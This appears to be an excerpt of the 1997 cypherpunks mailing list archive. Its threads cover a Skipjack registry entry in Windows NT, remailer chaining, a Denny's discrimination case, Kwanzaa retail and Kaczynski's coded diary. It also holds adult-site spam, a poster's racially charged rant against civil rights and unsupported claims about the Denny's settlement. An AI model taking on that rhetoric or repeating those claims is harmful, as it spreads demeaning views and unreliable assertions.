Now this is interesting! :)  (Either that or JA is smoking crack... - no
idea on JA's reputation capital though...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Wed, 24 Dec 1997 01:29:07 -0600
From: "J.A. Terranson" <sysadmin@mfn.org>
To: 'NT Security Listserv' <ntsecurity@iss.net>
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)

-----BEGIN PGP SIGNED MESSAGE-----

I was rooting around in the registry tonight, (looking to repair my own 
stupidity!),
and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
(now would I EVER) installed it voluntarily, and Micro$loth only advertises 
the
"standard" ciphers (which I also found).

Is anyone else aware of this?  Is it safe to delete the key (and code? 
Hopefully
this is DLL driven: I'm still looking!).

Also, anyone know what it was put there for?  It's certainly not what I would 

consider an SSL issue!

J.A. Terranson
sysadmin@mfn.org
A small fading light in a vast and obscure universe...

PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
                                             0B0E C6C0 ED6B 1289 6749
PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
                                             3081 A202 DDFD 4245
If Government wants us to behave, it should set a better example!


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lord_buttmonkey@juno.com (Matthew L Bennett)
Date: Sat, 27 Dec 1997 04:32:10 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <Ty89He4w165w@bwalk.dm.com>
Message-ID: <19971226.145900.12766.0.Lord_Buttmonkey@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 25 Dec 97 01:02:28 EST dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
writes:
>lord_buttmonkey@juno.com (Matthew L Bennett) writes:
>>
>> Umm, no, freedom doesn't work like that.  If you open a *private*
>> establishment, you have the right, according to the constitution, to 
>deny
>> *anyone* the right to enter or eat in your restraunt.
>
>Tell that to Denney's restaurants. (No, not in the United Fascist
>States of Amerika you can't.)

Hmmm...

Apologies.  In *theory* you have those rights, on *paper*, you have those
rights, but in *practice*, you're correct, the Government has power that
it gleefully abuses, forcing others to comply w/ political correctness.

I'd like some more info on this Denny's thing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sat, 27 Dec 1997 07:34:07 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <Ty89He4w165w@bwalk.dm.com>
Message-ID: <3.0.3.32.19971226151942.0072539c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>>> Umm, no, freedom doesn't work like that.  If you open a *private*
>>> establishment, you have the right, according to the constitution, to 
>>> deny *anyone* the right to enter or eat in your restraunt.

I don't see freedom of association listed anywhere there;
you might construe it as a "taking" or something, but it'd be a stretch.
Also, there was a really appalling court case in the 1890s
(Plessey vs. Ferguson), in which the Supremes ruled that states
could require segregation with separate but equal accommodations;
it was somewhat overturned by Brown vs. Board of Education in 1954,
but the idea that the government can tell you how to run your business
is long established (after all, we'd need much smaller governments
if they couldn't be interfering in business.)

>>Tell that to Denney's restaurants. (No, not in the United Fascist
>>States of Amerika you can't.)

>Apologies.  In *theory* you have those rights, on *paper*, you have those
>rights, but in *practice*, you're correct, the Government has power that
>it gleefully abuses, forcing others to comply w/ political correctness.
>
>I'd like some more info on this Denny's thing.

A Denny's restaurant in Maryland had two groups of customers
show up one day, one group black, one group white, both about 6-8 people,
both arriving at the same time, both groups out-of-uniform cops.
The white people got served promptly, the blacks got served
extremely late and rudely.  And sued, and won.

(I was mainly surprised that the white cops got served fast;
my experience in Denny's has almost always been slow bad service,
except for one restaurant in Pennsylvania that hasn't learned
how to act like a real Denny's :-)
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: martunia <justface@aol.com>
Date: Sat, 27 Dec 1997 05:39:28 +0800
To: cypherpunks@toad.com
Subject: rduyh
Message-ID: <34A41F85.699E@aol.com>
MIME-Version: 1.0
Content-Type: text/plain



yu5rtuy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen Cobb, CISSP" <stephen@iu.net>
Date: Sat, 27 Dec 1997 06:16:26 +0800
To: jehorton@erols.com
Subject: Re: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <3.0.3.32.19971226170604.0078b544@iu.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:11 AM 12/17/97 -0500, jehorton@erols.com wrote:
>I just got off the phone with DDJ - according to the sales person "the
>editors are preparing a letter to explain the delay". 
>
>Seems kind of strange that it is taking so long.  Of note - The sales
>person indicated that there has been no mention of pulling the product.
>
>Regards,
>John Horton

John

Your inference was correct...on 12/23/97 I received a flyer in the mail
offering the Crypto CD for $89.95 if ordered before the end of the year!

There are some pretty strict rules about mail order advertising of products
that don't exist. I wonder if the folks at ddj are aware of this.
Hopefully, the letter "the editors are preparing to explain the delay" will
appear on the web site soon.

Stephen
<<<<<<<<<<<<<<<Stephen Cobb, CISSP>>>>>>>>>>>>>>>>>
Certified Information Systems Security Professional
tel: 1.407.383.0977 fax: 0336 email scobb@miora.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Dec 1997 08:53:59 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.3.32.19971226151942.0072539c@popd.ix.netcom.com>
Message-ID: <yBgcie2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <bill.stewart@pobox.com> writes:

> I don't see freedom of association listed anywhere there;
> you might construe it as a "taking" or something, but it'd be a stretch.
> Also, there was a really appalling court case in the 1890s
> (Plessey vs. Ferguson), in which the Supremes ruled that states
> could require segregation with separate but equal accommodations;
> it was somewhat overturned by Brown vs. Board of Education in 1954,
> but the idea that the government can tell you how to run your business
> is long established (after all, we'd need much smaller governments
> if they couldn't be interfering in business.)

When the southern states passes laws in late 19th/early 20th century
mandating separate accommodations for blacks (the infamous back of the
bus), the businesses running the buses, streetcars, et al were extremely
opposed to this segregation, and were extremely happy to get rid of it
with the feds' help in 1960s. (I can dig up some citations if pressed.)

It's a pity there was no good constitutional challenge at the time -
given the climate, the SC would have probably said that a state can't
order a private business to discriminate or not to discriminate.

> A Denny's restaurant in Maryland had two groups of customers
> show up one day, one group black, one group white, both about 6-8 people,
> both arriving at the same time, both groups out-of-uniform cops.
> The white people got served promptly, the blacks got served
> extremely late and rudely.  And sued, and won.

My recollection was that the folks accusing Denney's of "discrimination"
never won in court and shut up after Denney's made a large "donation" to
Jesse jackson's organization. I could be wrong. Still a "victory" in
court doesn't mean that the incident like the one you described is
statistically significant.

> (I was mainly surprised that the white cops got served fast;
> my experience in Denny's has almost always been slow bad service,
> except for one restaurant in Pennsylvania that hasn't learned
> how to act like a real Denny's :-)

At about that time I was doing a project in Kentucky, and went to
Denny's with a very black friend, and had decent food and service. So?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 27 Dec 1997 02:33:28 +0800
To: cypherpunks@toad.com
Subject: Re: actual, on-topic post (tm)
Message-ID: <199712261804.TAA06045@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



jkthomson <jkthomson@bigfoot.com> writes:

>does a large number of 'bounces' between randomly selected remailers
>increase security/untraceability?  what if you made each message go through
>ALL remailers, or nearly all?

Going through all the remailers is overkill. The rationale for multiple
remailers (four are usually recommended) is that it's harder to trace a
message through the remailer network.

Say you want to send a message to person X. So you send it to remailer A.
Now there's a chain linking you to that remailer (probably your ISP's smtp
log), and your friendly local jackbooted thug could say, "Aha! You sent a
message to that remailer, and then person X got an anonymous message! It
must have been you!" They might not be able to make it stick, but they'd
certainly be able to take you downtown for a quick wooden high colonic.

Now, suppose instead that you'd sent it through a chain of four remailers,
chosen in some reasonably random fashion. So the thug has a record of you
sending something to remailer A, but the message came from Remailer D. He
has to construct a chain linking you to Remailer D, via remailer B and C.
If you PGP-encrypt the messages in layers, as with Premail, then no
remailer other than the last in the chain has the final destination, and no
remailer other than the first knows where the message originally came from.

Hope this helps.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka-help@eureka.abc-web.com
Date: Sat, 27 Dec 1997 03:46:38 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <883163886.27374.ezmlm@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain



[ENGLISH, FRANÇAIS, DEUTSCH & ESPAÑOL]

ENGLISH
=======
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========
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=======
Danke für Ihr  Interesse  am Eureka!  Rundschreiben.  Bitte
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- auf  dieser  Seite können  Sie Links  zur  Software  auch
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ESPAÑOL
=======
Gracias por su  interés en el Eureka!  boletín de noticias.
Ahora  CONTESTE  por  favor a  este email  seleccionando el
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adulto de niños de la edad inferior.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka-help@eureka.abc-web.com
Date: Sat, 27 Dec 1997 04:08:50 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <883165294.8183.ezmlm@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain



[ENGLISH, FRANÇAIS, DEUTSCH & ESPAÑOL]

ENGLISH
=======
This is  your reply from Eureka!  You must now hit REPLY on
your email program to send this message back to us, and let
us know we have your correct address. Please note that this
is the ONLY way to  ensure your  subscription proceeds.  If
you send an email to us ANY other way,  it will NOT get you
subscribed to the mailing list.

Please do this now to ensure you do not miss out on all the
bonus FREE hardcore video channels  we are offering all new
subscribers as well as the 100s of FREE XXX photos that are
waiting for you right now!

IMPORTANT
For information on our 100% anti-spamming policy,  and what
to do if you  did not ask to receive this email,  or do not
wish to  proceed with your free subscription,  please click
here .......... http://eureka.abc-web.com/eureka/nospam.htm
This URL also includes full information on how to block ac-
cess to most adult sites from children under the age of 18.

FRANÇAIS
========
Merci de votre  intérêt dans  l'Eureka! bulletin.  RÉPONDEZ
s'il vous plaît  maintenant à cet  email en  choisissant le
bouton  de réponse  dans  votre  programme  d'email  et  en
l'envoyant  de nouveau  à nous.  Ceci  confirmera  que nous
avons votre  email address correct.  Il n'assure  également
personne autrement peut vous  joindre à la liste si vous ne
la souhaitez pas. 

Veuillez  noter  que  nous  n'envoyons  pas  les emails non
sollicités.  Nous avons une pleine page sur notre anti-Spam
politique ici . http://eureka.abc-web.com/eureka/nospam.htm
- à cette page vous pouvez  également  trouver des liens au
logiciel qui interdira  tous les sites  d'adulte de dessous
des enfants d'âge.

DEUTSCH
=======
Danke für Ihr  Interesse  am Eureka!  Rundschreiben.  Bitte
ANTWORTEN  Sie  jetzt  auf  dieses  email,  indem  Sie  die
Antworttaste  in  Ihrem  emailprogramm  auswählen  und  sie
zurück  zu  uns  senden.  Dieses  bestätigt,  daß  wir  Ihr
korrektes email address haben.  Es stellt auch niemand kann
Sie sonst  zur Liste verbinden sicher,  wenn Sie  sie nicht
wünschen. 

Beachten  Sie  bitte,   daß  wir  nicht  freiwillige  email
aussenden. Wir haben eine volle Seite auf unserer Anti-Spam
Politik hier .. http://eureka.abc-web.com/eureka/nospam.htm
- auf  dieser  Seite können  Sie Links  zur  Software  auch
finden,  die   alle  Erwachsensites   von   unterhalb   der
Alterskinder verbietet.

ESPAÑOL
=======
Gracias por su  interés en el Eureka!  boletín de noticias.
Ahora  CONTESTE  por  favor a  este email  seleccionando el
botón  de  la  contestación  en  su  programa  del  email y
enviándolo de nuevo a nosotros. Esto confirmará que tenemos
su email address correcto. También no asegura a nadie puede
ensamblarle a la lista si usted no la desea. 

Observe  por favor  que no  enviamos email  no solicitados.
Tenemos  una   paginación  llena  en   nuestra  contra-Spam
política aquí . http://eureka.abc-web.com/eureka/nospam.htm
En esta paginación usted puede también encontrar conexiones
al  software  lógica que  prohibirá  todos  los  sitios del
adulto de niños de la edad inferior.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 27 Dec 1997 03:30:29 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>
Message-ID: <Pine.BSF.3.96.971226202413.18352A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



Skipjack can't be installed, since there is no generally available
software implementation of the cipher. I would guess the person has
some software installed that supports Fortezza cards, that would explain
the registry entry.

On Fri, 26 Dec 1997, Ray Arachelian wrote:

> Now this is interesting! :)  (Either that or JA is smoking crack... - no
> idea on JA's reputation capital though...)
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
> ..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
> <--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
> ../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
> .+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
> ======================= http://www.sundernet.com ==========================
> 
> ---------- Forwarded message ----------
> Date: Wed, 24 Dec 1997 01:29:07 -0600
> From: "J.A. Terranson" <sysadmin@mfn.org>
> To: 'NT Security Listserv' <ntsecurity@iss.net>
> Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> I was rooting around in the registry tonight, (looking to repair my own 
> stupidity!),
> and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
> (now would I EVER) installed it voluntarily, and Micro$loth only advertises 
> the
> "standard" ciphers (which I also found).
> 
> Is anyone else aware of this?  Is it safe to delete the key (and code? 
> Hopefully
> this is DLL driven: I'm still looking!).
> 
> Also, anyone know what it was put there for?  It's certainly not what I would 
> 
> consider an SSL issue!
> 
> J.A. Terranson
> sysadmin@mfn.org
> A small fading light in a vast and obscure universe...
> 
> PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
> PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
>                                              0B0E C6C0 ED6B 1289 6749
> PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
>                                              3081 A202 DDFD 4245
> If Government wants us to behave, it should set a better example!
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQEVAwUBNKC5wqAMF5Wdhd8FAQFsDQgAkietW1awMFDE9ZY5d9B+Zc0cGuGxlPC+
> XzVy6+RleDngUecSAf8MbZZlTDDyN69liKG2Of0n+pZnlJSbKZWZiG0cRN592bbL
> xCF/cwgNdJi1/HTA/mDZ7fpRT1phCMi/b2U3XXyV3QG2fv+Z8M5o4LjykYT+u4Lt
> aEkfedFZKjkURO+artvGFnISfVxAMwpW0TfdbxE2Izw8iSjX2w+4aT0ub+Ck3OA4
> X3Bek8ZPhbmsf9lIfBSe38ZPMZGrk7VwTPaMo7JiU5MM58OmCMaodKlwyxfsptKf
> khLnbWJbwHrlbW2yXL7nh7Ttnxv1WJ6BHaaJhxX/5EWSU4xAc/FjaQ==
> =jsvV
> -----END PGP SIGNATURE-----
> 


-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "J.A. Terranson" <sysadmin@mfn.org>
Date: Sat, 27 Dec 1997 10:49:32 +0800
To: "'cypherpunks@toad.com>
Subject: RE: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
Message-ID: <01BD123E.5965AD70@pdc.mfn.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Since I've had so many people either ask what s/w was installed on this box, 
or else claim that "J.A. must be on crack! :-)", here is the breakdown...

NT4.0; SP3; Every post SP3 hotfix through the third week of December; NT4.0 
Server Resource Kit; I.E. 3.02 with Java VM pkg installed; PGP 5.0 
Commercial; Adobe Photoshop 4.0 with a couple of special filter plugins; 
Adobe Illustrator 4.something, no addons; Adobe Premier with no addons; 
Micrographics Webtricity; Front Page 97 with assorted HotFixes; Outlook 97 
with assorted HotFixes; TCL/TK; J++; Java 1.something with SDK; WordPerfect 
Suite 7.something.  Obviously, this is on a Web Authoring station, so there 
is absolutely no reason for any of the above programs to be playing around 
with Skipjack...  Never the less...  I brought up a testbed system over the 
Xmas break, using the same install packages that I used to build the 
workstation in question.  No sign of ANY ciphers: Skipjack or anything else!  
Which makes sense.  The question now is just how in the h%@#& did it get here 
in the first place?  And why are my others ciphers explicitly disabled for 
SSL?  This is a really disturbing finding.  I am more concerned that Skipjack 
was *silently* installed than anything else: I have plans to completely 
reinstall all of the software from scratch on this particular box, and then 
enable full key ACL logging in an attempt to find out how it got there.

I am VERY concerned about this!  The ONLY way I can conceive of this machine 
having this configuration is if it was silently downloaded to the machine 
during a W3 session.  And it would NOT likely have been an SSL session: We do 
absolutely NO on-line transactions here. If Skipjack is being silently, I 
want to know by whom, and for what purpose.   OK, maybe I'm just paranoid, or 
smoking crack, but I spent several years in the late '80's working in COMSEC, 
and the scenario which first comes to mind is not too far-fetched (at least 
for me) to be believable...


It is most definitely an SSL 3 supported cipher but unless you have the
token or such,
then it is not going to be used for anything, and then only if you try to
connect 
to a Skipjack (ie. fortezza) site.  I doubt you have the code as it is
classified and available (at this time) only in hardware.  Don't sweat it,
it looks like it's just a hook or .....

What environment/flavor of stuff are you running?
I can help you with this if you want to contact me off the list.


At 11:45 AM 12/26/97 -0500, Ray Arachelian wrote:
>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>idea on JA's reputation capital though...)
>
>=====================================Kaos=Keraunos=Kybernetos==============
>.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
>..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
><--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
>../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
>.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
>======================= http://www.sundernet.com ==========================
>
>---------- Forwarded message ----------
>Date: Wed, 24 Dec 1997 01:29:07 -0600
>From: "J.A. Terranson" <sysadmin@mfn.org>
>To: 'NT Security Listserv' <ntsecurity@iss.net>
>Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I was rooting around in the registry tonight, (looking to repair my own 
>stupidity!),
>and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
>(now would I EVER) installed it voluntarily, and Micro$loth only advertises 
>the
>"standard" ciphers (which I also found).
>
>Is anyone else aware of this?  Is it safe to delete the key (and code? 
>Hopefully
>this is DLL driven: I'm still looking!).
>
>Also, anyone know what it was put there for?  It's certainly not what I
would 
>
>consider an SSL issue!
>
>J.A. Terranson
>sysadmin@mfn.org
>A small fading light in a vast and obscure universe...
>
>PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
>PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
>                                             0B0E C6C0 ED6B 1289 6749
>PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
>                                             3081 A202 DDFD 4245
>If Government wants us to behave, it should set a better example!
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQEVAwUBNKC5wqAMF5Wdhd8FAQFsDQgAkietW1awMFDE9ZY5d9B+Zc0cGuGxlPC+
>XzVy6+RleDngUecSAf8MbZZlTDDyN69liKG2Of0n+pZnlJSbKZWZiG0cRN592bbL
>xCF/cwgNdJi1/HTA/mDZ7fpRT1phCMi/b2U3XXyV3QG2fv+Z8M5o4LjykYT+u4Lt
>aEkfedFZKjkURO+artvGFnISfVxAMwpW0TfdbxE2Izw8iSjX2w+4aT0ub+Ck3OA4
>X3Bek8ZPhbmsf9lIfBSe38ZPMZGrk7VwTPaMo7JiU5MM58OmCMaodKlwyxfsptKf
>khLnbWJbwHrlbW2yXL7nh7Ttnxv1WJ6BHaaJhxX/5EWSU4xAc/FjaQ==
>=jsvV
>-----END PGP SIGNATURE-----
>
>Attachment Converted: "F:\GDW\Mail\[NTSEC] SKIPJACK  NT4.0 (SP3)"


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNKRqWaAMF5Wdhd8FAQEoawf+PlZlxSUBhsO1Pj37arRPt0YDIiCX0e5K
UzKIOyIk82Q3s2py5LQmqUv8hrqIY2NxTcn2DaNYm4yS2UOgKDfgfJbswmWdRlYZ
UHOt+ROiUn5P7qJqMThKHxE2EnQKhhtyiRJaUYgilGbgKCAAs/YYtP5uu7XOfd3l
u9TNmZwz6GCUv3+QrGXBi3g5+KQkzNZ/4cJLn+LYV5dGBzbGAsnSaAjQ+Kai0Xs9
tNTLZjM2wWvUDU7BNUYu/mHyY+ltiURgaqUSQpz9VV3y6SOlyh/Oef2JMtZtYkVc
K8EkebhEQNQ4uECxChyGYsmiuDmnt8yCYeX3moCcu+szHebQ/YyPeA==
=KIsG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 27 Dec 1997 12:29:02 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Kwanzaa hijacked by white businesses... [CNN]
In-Reply-To: <199712270322.VAA03217@einstein.ssz.com>
Message-ID: <199712270416.XAA24483@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712270322.VAA03217@einstein.ssz.com>, on 12/26/97 
   at 09:22 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>>           SOME RETAILERS SAY WHITE CORPORATIONS ARE HIJACKING KWANZAA
>>                                        
>>      graphic December 26, 1997
>>      Web posted at: 9:53 p.m. EST (0253 GMT)
>>      
>>      WASHINGTON (CNN) -- As celebrations begin for Kwanzaa, the
>>      30-year-old African-American holiday, some black business owners say
>>      they worry the celebration, which emphasizes black self-reliance, is
>>      being hijacked by white-owned corporations.
>>      
>>      "When this holiday came into existence, it was almost a
>>      laughingstock," says Magaji Bukar, a gift shop owner. "And now that
>>      (retailers) can make some money, now (they) want to be a part of
>>      this. We're saying, 'No.'"
>>      
>>      "This is more than just money. This is culture," he said.
>>      
>>      Bukar is one of about 1,000 African-American business owners who
>>      have launched a letter-writing campaign, demanding that large
>>      companies -- including Hallmark Cards and Giant Foods -- stop
>>      selling Kwanzaa-related items. They are urging African-Americans to
>>      buy Kwanzaa supplies and goods only from black businesses.
>>      
>>      But not all African-Americans agree. For example, Pamela Rucker of
>>      the National Retail Federation says merchants are simply responding
>>      to the free market and showing respect for the holiday. Magaji Bukar
>>      Magaji Bukar 
>>      
>>      "Retailers have a responsibility to serve their consumers, whether
>>      African-American, Hispanic, Asian, whatever," she said. "If
>>      consumers didn't tell us they wanted Kwanzaa-related products, or
>>      other ethnic or culturally-related products, retailers wouldn't
>>      stock them."


Ahhh Isn't Racism grand!!

I wonder what the Ministry of Propaganda, CNN Branch would have to say if
rather than Magaji Bukar this was David Duke demanding that Blacks stop
selling Christmas Items proclaiming it a "white" holiday and Verboten for
Black.

Oh I'm sorry, obPC: Black's can't be racists only the EAWM (Evil Angry
White Men).

Exactly what was the point of all this "Civil Rights" BS of the last 30yrs
if all that is acomplished is to replace one racism for another??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKSAP49Co1n+aLhhAQH+lAP9HB+oj0bZ1KrP3aIPsqv9Vhvnyp0IsHDR
YNWtzbHCb8XZaf6ICMnpnVDtYAgdfDlw6hQoubQJDE7YAokejthKYrAXohsjtUOI
i7KUvHaXgh1xpgyAyr0uia9FdnpCUZDA1nkzY3dLYI76V4RhCUtBu/9BEfh30eCH
rhaHhTGD9DE=
=8Ni2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 27 Dec 1997 10:23:33 +0800
To: cypherpunks@cyberpass.net
Subject: Cryptographer examines Kaczynski's journal
Message-ID: <v04002738b0ca161ba12d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam@lists.espace.net using -f
X-Orig-From: William Knowles <erehwon@dis.org>
X-e$pam-source: bounce-dcsb@ai.mit.edu
X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Fri, 26 Dec 1997 20:09:27 -0500
To: espam@intertrader.com
From: Robert Hettinga <rah@shipwright.com>
Subject: Cryptographer examines Kaczynski's journal
Sender: owner-espam@lists.espace.net
Precedence: bulk
Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

From: William Knowles <erehwon@dis.org>
To: "Perry's crypto list" <cryptography@c2.net>, DC-Stuff <dc-stuff@dis.org>
cc: DCSB <dcsb@ai.mit.edu>
Subject: Cryptographer examines Kaczynski's journal
Organization: Home for retired social engineers & unrepented cryptophreaks
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: William Knowles <erehwon@dis.org>

SACRAMENTO, Calif. (AP) -- Driven by secrecy, Theodore Kaczynski
 kept a cryptic diary for two decades, substituting numbers and
 mathematical symbols for words and letters.

 Prosecutors say the Unabomber suspect's encoded journal is the
 cornerstone of their case against the mathematics professor-turned
 -forest recluse. They say it provides a remarkable, step-by-step
 view of years of wrongdoing -- in the defendant's own words. And
 they intend to have FBI cryptographer Michael Birch lay out his
 ``translation'' of the entire document to jurors.

 ``Although Mr. Birch's expertise is breaking codes, in this case the
 'key' to the defendant's code was found in the cabin,'' the government
 said in its trial strategy brief. ``Therefore, Mr. Birch's expertise
 will be directed to explaining to the jury how to apply the code to
 the defendant's coded writings and the admission into evidence of
 his completed translation.''

 Earlier, lead prosecutor Robert Cleary said the journal records
 are ``the backbone of the government's case.'' He said the diary
 describes in detail the 16 Unabomber attacks from 1978 to 1995
 that killed three people and injured 29.

 Kaczynski, 55, is charged with using bombs in four attacks: He is
 accused of killing a lobbyist and a computer store owner a decade
 apart in Sacramento, and maiming a geneticist and a computer
 professor with Sacramento-postmarked mail bombs in 1993.

 Opening statements in the trial are scheduled for Jan. 5. Kaczynski
 could get the death penalty if convicted. He is charged separately
 in New Jersey with the third fatality attributed to the Unabomber's
 18-year siege.

 Unlike the Unabomber manifesto, a 35,000-word treatise that depicts
 technology as an evil force, the coded diary was never intended to
 be seen by anyone else.

 The diary, written in pencil on several hundred pages of notepaper
 and several inches thick, includes details of experiments with
 explosives. It was among 20,000 documents seized from Kaczynski's
 tiny Montana shack.

 The diary contents have not been made public, although Birch's
 decoded version was given to the defense last year.

 Sources familiar with the journal describe it as a sophisticated
 jumble of numbers, an intricate enigma wrapped in a riddle befitting
 a Harvard-trained mathematician described by one prospective juror
 as a ``smart weirdo.''

 But code experts aren't so sure. They believe Kaczynski, who shunned
 computers and electronic devices in his cabin without electricity,
 may actually have cloaked the journal in a ``hand code'' that would
 have been relatively easy to break, even without the key.

 Such codes vary widely, but one basic variety resembles a checkerboard
 or grid, numbered on the sides, with each square filled randomly with
 a letter of the alphabet.

 The coded message is a string of numbers, which are the coordinates
 corresponding to the letters in the grid. To read the message, one
 needs to translate the numbers using the grid, or key. But typically,
 those numbers may be scrambled using a second code, and even a third,
 so that the final message is shrouded in layers of secrecy.

 Although such a numeric code looks daunting to the lay person, it is
 no more difficult to crack than the kind of basic substitution ciphers
 popular in pulp fiction or newspaper word games.

 ``You may have `A equals 1', and `B equals 2,' stuff like that in
 a numeric code with pencil and paper. Numbers look a little more
 mysterious and harder, like `39647181.' But it doesn't have anything
 to do with the complexity of the code. It's totally irrelevant,''
 said David Kahn, an editor at Long Island's Newsday and the author
 of ``The Code Breakers,'' a seminal work on classical cryptography.

 ``A checkerboard cipher with nothing else going on is no harder to
 crack than the simple substitution system used in a newspaper,''
 added James Gillogly, president of the American Cryptogram Assoc.
 He is an employee of the Westwood-based Mentat Inc., which develops
 security software.

